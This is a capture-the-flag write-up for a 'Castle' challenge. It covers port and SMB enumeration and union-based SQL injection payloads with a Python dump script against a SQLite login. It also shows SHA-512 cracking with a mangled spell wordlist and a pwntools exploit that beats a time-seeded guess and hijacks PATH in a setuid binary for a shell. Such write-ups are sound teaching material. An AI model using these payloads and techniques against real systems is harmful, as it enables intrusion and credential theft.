

# Solve for Castle for CUCTF (Runcode challenges)

---

## Prompt

Given the target IP address: `157.230.63.228` Given the target hostname: `castle.runcode.ninja`

Capture `flag1.txt` and `flag2.txt` somewhere on the filesystem

## Enumerating the Services

Running `nmap` on this target give us 4 open ports.

```
1 $ nmap -p- 157.230.63.228
2 Nmap scan report for 157.230.63.228
3 Host is up (0.068s latency).
4
5 PORT      STATE SERVICE
6 22/tcp    open  ssh
7 80/tcp    open  http
8 139/tcp   open  netbios-ssn
9 445/tcp   open  microsoft-ds
10
11 Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds
```

Running default scripts and enumerate versions on those open ports, give us the following:

```

1 $ nmap -p80,22,139,445 157.230.63.228 -sC -sV
2 Nmap scan report for 157.230.63.228
3 Host is up (0.069s latency).
4
5 PORT      STATE SERVICE      VERSION
6 22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
7 80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
8 |_http-server-header: Apache/2.4.41 (Ubuntu)
9 |_http-title: Site doesn't have a title (text/html; charset=utf-8).
10 139/tcp   open  netbios-ssn  Samba smbd 4.6.2
11 445/tcp   open  netbios-ssn  Samba smbd 4.6.2
12 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
13
14 Host script results:
15 |_clock-skew: 2m51s
16 |_smb2-security-mode:
17 |   2.02:
18 |_   Message signing enabled but not required
19 |_smb2-time:
20 |   date: 2020-09-18T15:35:03
21 |_   start_date: N/A
22
23 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
24 Nmap done: 1 IP address (1 host up) scanned in 68.71 seconds

```

So we have a Ubuntu Linux host running OpenSSH, Apache 2.4.41, and smbd 4.6.2. All appear to be current versions.

## Samba Server - TCP Port 445

Access the samba server on port 445, we see there is one interesting share.

```

1 $smbclient -L //castle.runcode.ninja                               Enter WORKGROUP\kali's password
2
3      Sharename      Type      Comment
4      -----      -
5      print$        Disk      Printer Drivers
6      sambashare     Disk      Harry's Important Files
7      IPC$          IPC       IPC Service (castle server (Samba, Ubuntu))
8 SMB1 disabled -- no workgroup available

```

It appears the share called, "sambashare" is for a user name Harry. In this share are two files.

```
1 | $ smbclient //castle.runcode.ninja/smbashare Enter WORKGROUP\kali's password
2 | Try "help" to get a list of possible commands.
3 | smb: \> dir
4 | . D 0 Thu Sep 17 10:36:33 2020
5 | .. D 0 Thu Sep 17 10:36:33 2020
6 | spellnames.txt N 874 Thu Sep 17 10:36:33 2020
7 | .notes.txt H 158 Thu Sep 17 10:36:33 2020
8 |
9 | 162420480 blocks of size 1024. 160141848 blocks available
10 | smb: \> get spellnames.txt
11 | getting file \spellnames.txt of size 874 as spellnames.txt (4.5 KiloBytes/sec) (average 4.5 KiloBytes/sec)
12 | smb: \> get .notes.txt
13 | getting file \.notes.txt of size 158 as .notes.txt (0.8 KiloBytes/sec) (average 2.7 KiloBytes/sec)
14 | smb: \> quit
```

The file `spellnames.txt` contains 81 lines with one word each. They appear to be a list of spells from Harry Potter universe.

```
1 | avadakedavra
2 | crucio
3 | imperio
4 | morsmordre
5 | brackiumemendo
6 | confringo
7 | sectumsempra
8 | -- snip --
```

This might be useful in the future.

The file `.notes.txt` contains a few maybe hints or other points to consider

```
1 | Hagrid told me that spells names are good since they will not "rock you"
2 | Dumbledore said castle.runcode.ninja would be a great domain name for a website
```

Since the share comments describe these as Harry's important files, we can assume this are notes from Harry Potter potentially. Hagrid and Dumbledore are his friends/mentors.

The note about spell names is interesting since we got a list of spell names also and the mention of rock you potentially refers to password lists and the fact that the spells are not in `rockyou.txt`.

## Web Server - TCP Port 80

Using `nikto` to scan the website finds nothing interesting.

```

1  - Nikto v2.1.6
2  -----
3  + Target IP:          157.230.63.228
4  + Target Hostname:    castle.runcode.ninja
5  + Target Port:        80
6  + Start Time:         2020-09-18 15:23:04 (GMT-4)
7  -----
8  + Server: Apache/2.4.41 (Ubuntu)
9  + The anti-clickjacking X-Frame-Options header is not present.
10 + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some
11 + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the
12 + No CGI Directories found (use '-C all' to force check all possible dirs)
13 + Allowed HTTP Methods: HEAD, GET, OPTIONS
14 + OSVDB-3268: /static/: Directory indexing found.
15 + 7863 requests: 0 error(s) and 5 item(s) reported on remote host
16 + End Time:           2020-09-18 15:27:50 (GMT-4) (286 seconds)
17 -----
18 + 1 host(s) tested

```

Same thing with `gobuster`

```

1  gobuster dir -u http://castle.runcode.ninja -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
2  =====
3  Gobuster v3.0.1
4  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
5  =====
6  [+] Url:              http://castle.runcode.ninja
7  [+] Threads:          10
8  [+] Wordlist:          /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
9  [+] Status codes:     200,204,301,302,307,401,403
10 [+] User Agent:        gobuster/3.0.1
11 [+] Timeout:           10s
12 =====
13 2020/09/18 15:23:56 Starting gobuster
14 =====
15 /static (Status: 301)
16 /logout (Status: 302)
17 /server-status (Status: 403)
18 =====
19 2020/09/18 15:32:19 Finished
20 =====

```

When we go to the webserver, you see a welcome screen with a login portal



## Discovery SQL Injection

Attempting well-known username-passwords of `admin:admin` , `admin:password` , etc gains now results.

Trying a simple SQLi check of `' or 1=1 --` give the following message:

```
1 | {"error":"The password for Adrian Carter is incorrect! contact administrator. Congrats on SQL injection... k
```

So it appears "Adrian Carter" is a user. Potentially this sorted, so lets reverse the sort and see what else we get.

We will use the username of `' or 1=1 order by 1 desc --` . This give us the following error message.

```
1 | {"error":"The password for Wyatt Howard is incorrect! contact administrator. Congrats on SQL injection... ke
```

So a different username but the same message about SQLi. Lets figure out how many columns there are using `ORDER BY` and figure out if we can dump the database with a `UNION` attack. We can do this in python really quick using `requests`

```

1 | $ python3
2 | [GCC 10.2.0] on linux
3 | Type "help", "copyright", "credits" or "license" for more information.
4 | >>> import requests
5 | >>> url = "http://castle.runcode.ninja/login"
6 | >>> data = {}
7 | >>> data['password']='whatevs'
8 | >>> data['user'] = "' or 1=1 order by 1 -- "
9 | >>> r = requests.post(url,data=data)
10 | >>> r.status_code
11 | 403
12 | >>> data['user'] = "' or 1=1 order by 2 -- "
13 | >>> r = requests.post(url,data=data)
14 | >>> r.status_code
15 | 403
16 | >>> data['user'] = "' or 1=1 order by 3 -- "
17 | >>> r = requests.post(url,data=data)
18 | >>> r.status_code
19 | 403
20 | >>> data['user'] = "' or 1=1 order by 4 -- "
21 | >>> r = requests.post(url,data=data)
22 | >>> r.status_code
23 | 403
24 | >>> data['user'] = "' or 1=1 order by 5 -- "
25 | >>> r = requests.post(url,data=data)
26 | >>> r.status_code
27 | 500

```

Python 3.8.5 (defa

When we try to sort by the fifth column, we get a `500` status code, where the others gave us a `403`. This means our output is 4 columns.

A four column `UNION` attack of `' union select 1,2,3,4 --` gives us the following output

```

1 | >>> data['user'] = "' union select 1,2,3,4 -- "
2 | >>> r = requests.post(url,data=data)
3 | >>> r.text
4 | '{"error":"The password for 1 is incorrect! 4"}\n'

```

So column 1 is where the username (with a space) goes and column 4 is some type of message. The messages we have seen have said been the congratulations asking to contact admin and keep digging.

We will now figure out what type of database we have.

```

1 | >>> data['user'] = "' union select table_name,2,3,4 from information_schema.tables -- "
2 | >>> r = requests.post(url,data=data)
3 | >>> r.text
4 | '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">\n<title>500 Internal Server Error</title>\n<h1>Inte

```

We get an error trying to access the `information_schema` table, so it looks unlikely we have MySQL.

```

1 | >>> data['user'] = "' union select tbl_name,2,3,4 from sqlite_master -- "
2 | >>> r = requests.post(url,data=data)
3 | >>> r.text
4 | '{"error":"The password for users is incorrect! 4"}\n'

```

We get a hit on SQLite, and a table name of *users*.

Lets get the SQL command used to build the `user` table.

```

1 | >>> data['user'] = "' union select 1,2,3,sql from sqlite_master -- "
2 | >>> r = requests.post(url,data=data)
3 | >>> r.text
4 | '{"error":"The password for 1 is incorrect! CREATE TABLE users(\\nname text not null,\\npassword text not nu

```

So it appears we have a `name` , `password` , `admin` , and `notes` field. Lets see what is in the admin column.

```

1 | >>> data['user'] = "' union select name,2,3,admin from users -- "
2 | >>> r = requests.post(url,data=data)
3 | >>> r.text
4 | '{"error":"The password for Adrian Carter is incorrect! 0"}\n'

```

Ok, let's see if anyone has admin set to `1` or `'1'` ...

```

1 | >>> data['user'] = "' union select name,2,3,admin from users where admin=1 -- "
2 | >>> r = requests.post(url,data=data)
3 | >>> r.status_code
4 | 200
5 | >>> data['user'] = "' union select name,2,3,admin from users where admin='1' -- "
6 | >>> r = requests.post(url,data=data)
7 | >>> r.status_code
8 | 200

```

A status code of 200 means we did not get a hit in the database.

Now lets dump the usernames and passwords with the following script.

```

1  #!/usr/bin/env python3
2
3  import requests
4  import re
5  import json
6
7  url = "http://castle.runcode.ninja/"
8  patt = re.compile('(. * . * . * . * )',re.DOTALL)
9
10
11  concat = "(name || ':' || password || ':' || notes)"
12  data = {}
13  data['password'] = 'whateves'
14  i = 0
15
16  while True:
17      payload = f"' union select 1,2,3,{concat} from users limit 1 offset {i} -- "
18      data['user'] = payload
19      r = requests.post(url + '/login', data=data)
20      if r.status_code == 200:
21          break
22      m = json.loads(r.text)['error'].split('!')[1].strip()
23      message = patt.findall(m)[0]
24      name, password, notes = message.split(':')
25      print("{:20} | {:50}".format(name, password))
26      print("{:20} | {}".format('',notes))
27      i += 1

```

```

1  Adrian Carter      | 41abe2d7a3f803b5267a6d22386bf50adf5e2faf168c7181336f9c29d4344f1cfbbe83efd8ad2aad99714
2                    | contact administrator. Congrats on SQL injection... keep digging
3  Aiden Ward         | 0932c8dea597b950ddba96f97b3656a54e9eb0b6fa7e3611e468251685d38014a18a0e0491edde41f02d3
4                    | contact administrator. Congrats on SQL injection... keep digging
5  Alexis Simmons     | 86c3b1fad268b5ef72a9997301e1b66ec1a6f95632729a35cd0de44578308622ed86cb9e5c39b80578a7b
6                    | contact administrator. Congrats on SQL injection... keep digging
7  Allison Barnes     | beaa3d367c1dc49e24ddc78033fc4dea322d42ba973c0c9b49873fb7bfcbeb7e6601330f4e486ff9f5b97
8                    | contact administrator. Congrats on SQL injection... keep digging
9  Allison Moore      | 1afb14675c0ef0c432a4cafb74c7c0d60e485ba19ed7c0064c81d61b17085aa3e27ed4fd579e2413d0d07
10                   | contact administrator. Congrats on SQL injection... keep digging
11  Andrew Cooper      | 8a9d4bcb166095a128787b53f238143544936a434c0b39c24b012863efa95205ba89db0ac8d76afc3b152
12                   | contact administrator. Congrats on SQL injection... keep digging
13  Andrew Hughes      | 7c020b053be713674b68e8099cd64eeb85ed29e532fddd5add7446138d81fef50302f0e6c0cf742766d5e
14                   | contact administrator. Congrats on SQL injection... keep digging
15  Austin Washington  | ea5a45907a02639b41f8f276a0c66a2641b78b1c9f6aa8de21383c632cb279f3642b540325672ca814e33
16                   | contact administrator. Congrats on SQL injection... keep digging
17  Ayden Parker       | 06606e79911b6ab54978df61c7a7b2c3aec66e70e106bb84e42e67cd17553da5167d287cce1b9c0b4892f
18                   | contact administrator. Congrats on SQL injection... keep digging
19  Bella Wood         | 78ad92a1dd068f1fcc7bc34ee08e65bfb579a2e8a404ceea2db14fe73bfc5c605550172d6cbcc18eb15d9
20                   | contact administrator. Congrats on SQL injection... keep digging
21  Brandon Robinson   | ca14b0e2250f7e450d8a45b5dd1e23ca6fd9922b74ad295ea5415b017e37bc5584f4a2d9b62f925013a12
22                   | contact administrator. Congrats on SQL injection... keep digging
23  Brianna Ward       | 5f3afa31ed1a37de3225dc8205e3a2ba28409d27b7fabf6adc35973652337b76987dd16194f2810b379e8
24                   | contact administrator. Congrats on SQL injection... keep digging
25  Daniel Sanchez     | c7ced811565971af4212ae994a6e291215d2c3d3844d8a90ac800f4b4a7dfca7d7398c857ce4711bb289e
26                   | contact administrator. Congrats on SQL injection... keep digging
27  Ethan Davis        | 8fc3c5c7579ce54af6b0bec337709fdf633797ae893d4e1c47e5b1c1df31f13858eb1d9b52f2ae4df3c9
28                   | contact administrator. Congrats on SQL injection... keep digging

```



29	Harper Evans	3d716fae4f630c3ebe47badac6e1962eda6b37641bc9b730573ed6af593cdf5c03a90e1f006db372e593d
30		contact administrator. Congrats on SQL injection... keep digging
31	Harper Robinson	e5509e8e5f0f0284d34adf0f7867aefc37a1c3c65d3a272f5e1d172c4c6685e1d678371d447d57a7a55d1
32		contact administrator. Congrats on SQL injection... keep digging
33	Harry James	b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52
34		My linux username is my first name, and password uses best64
35	Jackson Parker	d1302f12cdd7915cd215df9c22a993a3f5b2fda9678afb2438ef8ba46357b809dd4d95d69cb3a39b31b6d
36		contact administrator. Congrats on SQL injection... keep digging
37	Jasmine Mitchell	bd08355f0b57262eb500912e48f2cd19a0ab05f1165e13bb784de809990424fa4b5941a8a3e40b31e82ef
38		contact administrator. Congrats on SQL injection... keep digging
39	John Stewart	684310f64c144110958fe5003d29f3b01642680d93d1507f5ef677f5dacbe72aaa89adb7acb6c99c2c0c9
40		contact administrator. Congrats on SQL injection... keep digging
41	Jonathan James	f0e50e5fe4f35d7039357a12ff68b66daa45de8ef25226582e5e51e977bfb7c0fed56b74a0f421dfc7b66
42		contact administrator. Congrats on SQL injection... keep digging
43	Julian Martinez	ddd4165ca10c6bbf29f163e0eec78ed02fc9f631d3f7a48a534a782523d39f6ad7c81be07eea9cc74d17a
44		contact administrator. Congrats on SQL injection... keep digging
45	Julian Mitchell	91346887b2f592be41b257d9515c50a1c356d2ed2ae18f390365b1913bb9716b94dffce81559913b69d0d
46		contact administrator. Congrats on SQL injection... keep digging
47	Kaitlyn Gonzalez	cc81f81046fa4b33aa2436286292f0564ec158dab0a79e508e56111ea808754cfff83e5ce77d5010271a4
48		contact administrator. Congrats on SQL injection... keep digging
49	Kaitlyn Henderson	1c8414ac1a22a7bb34c97dee67c0d0a2228822d118998c577fe87098199a3cf0fcdfa508b69dd64018fdb
50		contact administrator. Congrats on SQL injection... keep digging
51	Kevin Foster	090ab7755a8a4a2969c0cf3fa76c5bc07f32fda9f7ea2e4212eb801208a41d70040ebaa7103b7744a9847
52		contact administrator. Congrats on SQL injection... keep digging
53	Landon Patterson	21f09d718857291935046bfe2dde766c96149e7b911848b750197ebc082d3a0923e832bdd81d662b13480
54		contact administrator. Congrats on SQL injection... keep digging
55	Lauren Evans	26efb6ed931762828459bd9f9b4f6b789c9252370b5ca89816f0a07dd3714e0f1aa795a75e1726849569c
56		contact administrator. Congrats on SQL injection... keep digging
57	Leah Johnson	b17f9af86c568655d6e887d210b6c43293f7c90abdd8a941e5ce7ea2a1e994a649b1f93c8c22f4ca39b2c
58		contact administrator. Congrats on SQL injection... keep digging
59	Liam Lopez	5abc60af3994ef8a183341b71b2eef024b3ba7f5b449dda1f83f31dbf653c389ed9131c379be362fb4442
60		contact administrator. Congrats on SQL injection... keep digging
61	Luke Jones	92b78157f576431081e888dcce32e97b8eb489df91c9fb8e6f5105ce46b2b4b91c75277a813f68c48cbc1
62		contact administrator. Congrats on SQL injection... keep digging
63	Madeline Diaz	9d0e262e1b509a50ed7f9ef9ef01f130bf6d250ce10d9845026d7bbdc6663acf08831f45f0ed91fa5b30d
64		contact administrator. Congrats on SQL injection... keep digging
65	Madeline Green	967b68c21ad1bc1f2ec58454eb9a2a2071429344981b85b026d46f2978e0940e8d903a3f27696d306a9e6
66		contact administrator. Congrats on SQL injection... keep digging
67	Makayla Miller	a4169ebb6cbc57f1078ef3728bef3c6ba3d537a2905ac724be3c75ea212e10116a9e7cb74fede5ab97dc5
68		contact administrator. Congrats on SQL injection... keep digging
69	Mariah Reed	994516edca000af25e1dfd7ad11e0427a56cefccfde57107e5c0d162052b574818923b25d5769a8e894bd
70		contact administrator. Congrats on SQL injection... keep digging
71	Nathaniel Harris	07c43290c11ab472126ddbc534d3701832f342596b0660231f5ad9e6f23027e259f94cd20534c44cae2b2
72		contact administrator. Congrats on SQL injection... keep digging
73	Nolan Roberts	fbf6516bdc8774f10888e0c9a09ef0fd59fc7bcd2195987d9d60d76aff7ce4f2fbca565465961d6b199da
74		contact administrator. Congrats on SQL injection... keep digging
75	Peyton Sanders	2d7958451e7c0b00ffa9ccb4d7fa3d61eadd994b54a9afc34188c8752f609fe58b4930f6d2227a9c06215
76		contact administrator. Congrats on SQL injection... keep digging
77	Thomas Moore	b4c205219e7114ab6f8bd5d9674591529b701142df9e5f2220d224c31d486f23c02c84c32bc7b0c89bb74
78		contact administrator. Congrats on SQL injection... keep digging
79	Wyatt Howard	6c2525096911014777a42b212ebf3dcd844ee927056b1a1bb611eeaddd254ca21d8b5bcf2aa5e50fb2f4
80		contact administrator. Congrats on SQL injection... keep digging

From this, we can see there are 40 users and one user has a different entry in the `notes` column.

```
1 | Harry James | b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52
2 | | My linux username is my first name, and password uses best64
```

This is promising, since we saw mention of a "Harry" in the samba server. Though its not Harry Potter, maybe its a pseduonym (or a CTF trick so you cannot guess the user name). Also the note mentions "best64" which is a set of rules in hashcat that can be applied to a wordlist to mangle them. Also, the username appears to just be `harry`

## Crack the hash

Looking at the hash length, we can attempt to determine the hashing algorithm used.

```
1 | $ echo -n b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52c40c252c0e7ea
2 | 128
```

128 hex characters is 512 bits, so SHA-512 is a good candidate. We will use the wordlist built by applying hashcat's *best64* rules to the spell list found on the SMB server.

```
1 | $ hashcat --force spellnames.txt -r /usr/share/hashcat/rules/best64.rule --stdout > best64-spells.txt
2 | $ wc -l best64-spells.txt
3 | 6237 best64-spells.txt
4 | $ wc -l spellnames.txt
5 | 81 spellnames.txt
```

So our list of 81 spells, has been expanded to over 6000. We can look at a few to get a feel for our new words:

```
1 | avadakedavra
2 | arvadekadava
3 | AVADAKEDAVRA
4 | Avadakedavra
5 | avadakedavra0
6 | avadakedavra1
7 | avadakedavra2
8 | avadakedavra3
9 | avadakedavra4
10 | -- snip --
```

This following python script will attempt to apply SHA512 to all 6000+ words to see if it matches our target.

```

1  #!/usr/bin/env python3
2
3  import requests
4  import re
5  import json
6  from hashlib import sha512
7
8  with open('best64-spells.txt') as f:
9      words = f.read().split('\n')
10
11  target = "b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52c40c252c0e7ea
12
13  for word in words:
14      if sha512(word.encode()).hexdigest() == target:
15          password = word
16          break
17
18  print(f"Password cracked to be: {password}")

```

And running it gets our password.

```

1  $ ./hash_crack.py
2  Password cracked to be: wingardiumleviosa123

```

## Login as user to web site

We can now try to use the `Harry James` username and the `wingardiumleviosa123` password to login to the website. We get a hit and have one more message.



The message speaks to password reuse. So with the note about the linux account being the first name and password reuse, lets try and login as Harry.

## Access as First User

Since we know that SSH is running lets use our credentials to access the host.

```

ssh harry@castle.runcode.ninja
harry@castle.runcode.ninja's password:

'##:::'##::'#####::'#####::'##:::'##::'#####::'#####::'#####::
##:::'##::'##... ##:'##... ##:: ##:'##: ##::'## ##:: ##... ##... ##... '##... ##:
##:::'##: ##:::'##: ##:::..::: ##: ##: ##:'##: ##: ##:::'##::'##::'##:::
#####: ##:::'##: ##:'#####: ##: ##: ##:'##::: ##: #####::: ##::: ##:::
##... ##: ##:::'##: ##::: ##: ##: ##: ##: #####: ##.. ##::: ##:::..... ##:
##:::'##: ##:::'##: ##::: ##: ##: ##: ##: ##... ##: ##::: ##::: ##:::'##:: ##:
##:::'##: ##.. #####:.. #####:.. ##. ##: ##: ##: ##: ##::: ##::: ##::: ##:::
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harry@castle:~$ id
uid=1000(harry) gid=1000(harry) groups=1000(harry)
harry@castle:~$ ip add s eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 9e:9a:ab:72:99:49 brd ff:ff:ff:ff:ff:ff
    inet 157.230.63.228/20 brd 157.230.63.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet 10.10.0.5/16 brd 10.10.255.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::9c9a:abff:fe72:9949/64 scope link
        valid_lft forever preferred_lft forever
harry@castle:~$

```

Looking in Harry's home directory, we find the first flag!

```

harry@castle:~$ ls -la
total 24
drwxr-x--- 2 root harry 4096 Sep 17 14:36 .
drwxr-xr-x 4 root root  4096 Sep 17 14:36 ..
-rw-r--r-- 1 root harry  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 root harry 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 root harry    0 Sep 17 14:16 .cloud-locale-test.skip
-rw-r--r-- 1 root harry  807 Feb 25  2020 .profile
-rw-r----- 1 root harry  41 Sep 17 14:36 flag1.txt
harry@castle:~$ cat flag1.txt
d361cd... 149440e13
harry@castle:~$

```

## Enumerating the Host

Running LinPeas from [Github](#) gives us a really interesting find. A setuid binary that is not normal.

```

===== ( Interesting Files ) =====
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
/snap/core18/1885/bin/mount ----> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/snap/core18/1885/bin/ping
/snap/core18/1885/bin/su
/snap/core18/1885/bin/umount ----> BSD/Linux(08-1996)
/snap/core18/1885/usr/bin/chfn ----> SuSE_9.3/10
/snap/core18/1885/usr/bin/chsh
/snap/core18/1885/usr/bin/gpasswd
/snap/core18/1885/usr/bin/newgrp ----> HP-UX_10.20
/snap/core18/1885/usr/bin/passwd ----> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
/snap/core18/1885/usr/bin/sudo ----> /sudo$
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/snap/snapd/9279/usr/lib/snapd/snap-confine
/snap/snapd/8790/usr/lib/snapd/snap-confine
/usr/sbin/swagger
/usr/bin/at ----> RTu64_UNIX_4.0g(CVE-2002-1614)
/usr/bin/gpasswd
/usr/bin/passwd ----> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
/usr/bin/umount ----> BSD/Linux(08-1996)
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/chfn ----> SuSE_9.3/10
/usr/bin/mount ----> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/usr/bin/pkexec ----> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
/usr/bin/sudo ----> /sudo$
/usr/bin/su
/usr/bin/newgrp ----> HP-UX_10.20

```

You can also find it by using the following `find` command.

## Exploring the Suspicious Binary

Let's check out this privileged program, `/usr/sbin/swagger`

```

harry@castle:~$
harry@castle:~$ ls -l /usr/sbin/swagger
-rwsr-xr-x 1 root root 17208 Sep 17 15:06 /usr/sbin/swagger
harry@castle:~$
harry@castle:~$ file /usr/sbin/swagger
/usr/sbin/swagger: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bd77bd966818988bb679f1b13fc63a38188b7dda, for GNU/Linux 3.2.0, not stripped
harry@castle:~$
harry@castle:~$ /usr/sbin/swagger
Guess my number: 1337
Nope, that is not what I was thinking
I was thinking of 908307947
harry@castle:~$

```

It is a root setuid x64 binary that is dynamically linked, not stripped, and appears to ask for a random number.

I like to use cutter for RE as it is a mix of radare2 and ghidra. So looking at this binary we see the main function call random, asks you to guess the value, and if you match it calls `impressive()`



```
// WARNING: Could not reconcile some variable overlaps
// WARNING: [r2ghidra] Failed to match type int for variable argc to Decompiler typ
// WARNING: [r2ghidra] Detected overlap for variable var_10h
```

```
undefined8 main(undefined8 argc, char **argv)
{
    int64_t iVar1;
    undefined4 uVar2;
    int32_t iVar3;
    undefined8 uVar4;
    int64_t in_FS_OFFSET;
    char **var_20h;
    int64_t var_14h;
    uint32_t var_ch;
    int64_t canary;

    iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
    var_14h._0_4_ = (undefined4)argc;
    uVar2 = time(0);
    srand(uVar2);
    iVar3 = rand();
    printf("Guess my number: ");
    __isoc99_scanf(0x205c, (int64_t)&var_14h + 4);
    if (iVar3 == var_14h._4_4_) {
        impressive();
    } else {
        .plt.sec("Nope, that is not what I was thinking");
        printf("I was thinking of %d\n", iVar3);
    }
    uVar4 = 0;
    if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        uVar4 = __stack_chk_fail();
    }
    return uVar4;
}
```

In `impressive()` there is a call to `system()` with the argument of `uname -p`. So if we can get into the impressive function, I think we can exploit that. but before that we drop privileges to the user with id of 0x3e9

## Exploit the Binary

Two steps to get privilege escalation to the user with id of 0x3e9 or 1001 who is `hermonine`

```
uidd:x:107:112::/run/uidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
harry:x:1000:1000::/home/harry:/bin/bash
hermonine:x:1001:1001::/home/hermonine:/bin/bash
harry@castle:~$
```

We need to:

1. Crack the random number guess to get to `impressive()`
2. Exploit the `uname` call in `impressive()` to get a shell as `hermonine`

## Crack the Random Number Guessing

Since the binary seeds the random number generator with `time(0)`, executing it really twice really fast, should generate the same value. Since `time(0)` returns the number seconds since the epoch, all we have to do is be within the second as the previous call.

A simple bash trick should do that for us.

```
harry@castle:~$
harry@castle:~$
harry@castle:~$ echo '1337' | /usr/sbin/swagger; echo '1337' | /usr/sbin/swagger
Guess my number: Nope, that is not what I was thinking
I was thinking of 795051210
Guess my number: Nope, that is not what I was thinking
I was thinking of 795051210
harry@castle:~$
```

With a simple pwntools script (wait `pwntools` is installed on `castle` ? crazy). You can read the input from the first execution and send it as the guess the second time.

```

1  #!/usr/bin/env python3
2
3  from pwn import *
4  context.log_level = 'error'
5
6  # First pass to get the number
7  p = process('/usr/sbin/swagger')
8  p.sendline('1337');
9  p.readline()          # Nope message
10 response = p.readline() # Thinking message
11 answer = response.decode().split(' ')[-1].strip()
12 p.close()
13
14 # Second pass to get to impressive
15 p = process('/usr/sbin/swagger')
16 p.sendline(answer)
17 print(p.readline())
18 print(p.readline())
19 p.close()

```

```

harry@castle:~$
harry@castle:~$ /dev/shm/pwn-swagger.py
b'Guess my number: Nice use of the time tuner!\n'
b'This system architecture is x86_64\n'
harry@castle:~$ uname -p
x86_64
harry@castle:~$

```

You can see what the output from `uname -p` is combined with the "architecture" output message.

## Exploit the system call

Now that we can get into the `impressive()` function call, we can exploit the call to `system()` without using the full path to `uname -p`.

We will just copy `/bin/bash` into our current directory, rename it `uname` and then add the `$PWD` to the beginning of the `$PATH` variable.

Then we can put an `interactive()` call in our pwntools script, and have a shell.



```

1  #!/usr/bin/env python3
2
3  from pwn import *
4  context.log_level = 'error'
5
6  # First pass to get the number
7  p = process('/usr/sbin/swagger')
8  p.sendline('1337');
9  p.readline()          # Nope message
10 response = p.readline() # Thinking message
11 answer = response.decode().split(' ')[-1].strip()
12 p.close()
13
14 # Second pass to get to impressive
15 p = process('/usr/sbin/swagger')
16 p.sendline(answer)
17 p.interactive()

```

```

harry@castle:/dev/shm$
harry@castle:/dev/shm$ cp /bin/bash uname
harry@castle:/dev/shm$ export PATH=.:$PATH
harry@castle:/dev/shm$ ./pwn-swagger.py
Guess my number: Nice use of the time tuner!
This system architecture is $ id
uid=1001(hermonine) gid=1001(hermonine) groups=1001(hermonine),1000(harry)
$ ls -la /home/hermonine
total 24
drwxr-x--- 2 root hermonine 4096 Sep 17 14:36 .
drwxr-xr-x 4 root root      4096 Sep 17 14:36 ..
-rw-r----- 1 root hermonine 220 Feb 25 2020 .bash_logout
-rw-r----- 1 root hermonine 3771 Feb 25 2020 .bashrc
-rw-r----- 1 root hermonine  0 Sep 17 14:16 .cloud-locale-test.skip
-rw-r----- 1 root hermonine 807 Feb 25 2020 .profile
-rw-r----- 1 root hermonine 41 Sep 17 14:36 flag2.txt
$ cat /home/hermonine/flag2.txt
bcffed9245341220117611d28f4700ede0ec61
$

```